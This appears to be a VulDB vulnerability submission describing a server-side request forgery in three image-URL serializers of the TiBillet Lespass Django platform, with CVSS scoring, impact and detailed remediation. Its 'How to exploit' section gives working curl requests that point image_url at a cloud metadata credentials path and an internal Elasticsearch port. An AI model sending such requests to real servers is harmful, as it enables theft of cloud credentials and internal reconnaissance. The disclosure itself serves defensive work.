| Title | TiBillet Cooperative Lespass (Django/DRF cooperative back-office and ticketing platform) commit 56c1865 Server-Side Request Forgery (SSRF) — CWE-918 |
|---|
| Description | Title: Lespass ApiBillet Serializers — SSRF via img_url / image_url Field
Location: ApiBillet/serializers.py — three identical sinks at line ~130, line ~352, line ~1493. Each serializer accepts a remote image URL through an img_url (or image_url) field and forwards it to urllib.request.urlopen() inside the DRF create() / update() flow. Persistence is Django ORM (typically Avatar / Artwork / Federation records); the fetch happens server-side.
What the bug is: Three DRF serializers in ApiBillet/serializers.py accept a user-supplied remote URL through an img_url field (or the image_url field for one of the artwork variants). The DRF flow does not validate that the URL points to a public, trusted host. Each sink calls urllib.request.urlopen(Request(img_url, headers={'User-Agent': 'Mozilla/5.0'})) — or simply urllib.request.urlopen(image_url).read() — and stores the response body. There is no host parsing, no IP block-list (RFC1918 / loopback / link-local / multicast / reserved), no DNS pinning, no re-resolution before connect (defeats DNS rebinding), and the underlying urllib default opener follows 30x redirects depending on resource type. The net effect is a textbook SSRF that can read cloud metadata endpoints, internal HTTP services, and any intranet endpoint reachable from the Django worker. The three sinks are independent Serializer classes reachable through different DRF views, and each one provides a separate authenticated path into the SSRF. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 7.2 HIGH. The exact PR depends on which serializer is invoked; some serializers are admin-only, others reachable to any active user uploading an avatar or importing artwork.
How to exploit: Step 1 — obtain a valid Django session or DRF token by authenticating through the standard login endpoint: curl -c jar -b jar -X POST "https://victim.example/api/auth/login/" -d "username=alice&password=...". Step 2 — pick whichever serializer the authenticated user is allowed to drive. For the cooperative artwork import (sink at line 352), issue a POST whose image_url targets the IMDS endpoint: curl -b jar -X POST "https://victim.example/api/articles/" -H "Content-Type: application/json" -d '{"title":"hello","image_url":"http://x.x.x.x/latest/meta-data/iam/security-credentials/"}'. Step 3 — for the avatar import (sink at line 1493), patch the current user: curl -b jar -X PATCH "https://victim.example/api/users/me/" -H "Content-Type: application/json" -d '{"img_url":"http://127.0.0.1:9200/_cat/indices"}'. Step 4 — observe that urllib.request.urlopen() is invoked against the internal URL. On EC2 the first request dumps IAM credentials; the second leaks Elasticsearch index names. The error / response body travels through the serializer context — surfacing either in the API response or in the worker logs, depending on the serializer's error handling. The PoC documents the exploitability, not the exploitation.
Impact: 1. Read access to internal HTTP services and cloud metadata endpoints through whichever serializer is reachable to the authenticated user. 2. Reconnaissance of internal network topology. 3. Pivoting toward full data exfiltration when chained with another vulnerability.
Remediation: 1. Add a shared safe_fetch_image(url, max_bytes=...) helper that calls urllib.parse.urlsplit(), rejects any URL whose scheme is not in ('http', 'https'), resolves the hostname through socket.getaddrinfo(), checks each A / AAAA against the IP block-list, re-resolves the hostname immediately before the request (DNS rebinding defense), uses http.client.HTTPConnection / HTTPSConnection with a custom redirect handler that re-checks every redirect target, and streams the response with a hard byte cap. 2. Replace the three urllib.request.urlopen() calls in ApiBillet/serializers.py with the safe_fetch_image() helper. 3. Run the Django worker in an environment that already drops outbound traffic to RFC1918 / link-local / metadata IPs at the network layer. |
|---|
| Source | ⚠️ https://github.com/TiBillet/Lespass |
|---|
| User | Plus0ne_27 (UID 101324) |
|---|
| Submission | 09/17/2026 16:38 (1 month ago) |
|---|
| Moderation | 10/19/2026 16:45 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 422393 [TiBillet Lespass up to 10e87909c5d526dffa6d424c104fc12860740537 APIv1 ApiBillet/serializers.py get_img_from_url img_url/image_url server-side request forgery] |
|---|
| Points | 20 |
|---|